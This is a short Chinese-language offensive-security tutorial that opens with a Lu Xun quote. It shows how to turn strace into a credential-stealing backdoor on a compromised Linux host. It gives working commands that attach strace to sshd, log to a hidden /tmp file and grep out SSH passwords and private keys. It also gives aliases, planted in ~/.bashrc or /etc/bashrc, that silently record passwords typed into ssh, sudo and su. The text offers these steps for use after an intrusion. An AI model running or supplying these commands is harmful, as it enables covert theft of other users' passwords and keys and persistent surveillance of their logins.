愿中国青年都摆脱冷气,只是向上走, 不必听自暴自弃者流的话。能做事的做事,能发声的发声。有一分热,发一分光。—鲁迅
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。
执行如下命令
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)、
当用户通过密码登录时,使用如下命令查看记录的密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
当用户通过私钥登录时,使用如下命令查看记录的私钥
grep 'PRIVATE KEY' /tmp/.sshd.log
我们还可以记录本机执行ssh、su等命令,这里以ssh为例
# 添加命令
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 立即生效
source ~/.bashrc
ssh 10.xx.xx.148 -l mysql
会在 /tmp/ 目录下多个log
读取log中记录的密码
grep -A 9 'password' .ssh-202月021613809979.log
记录sudo、su的alias
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'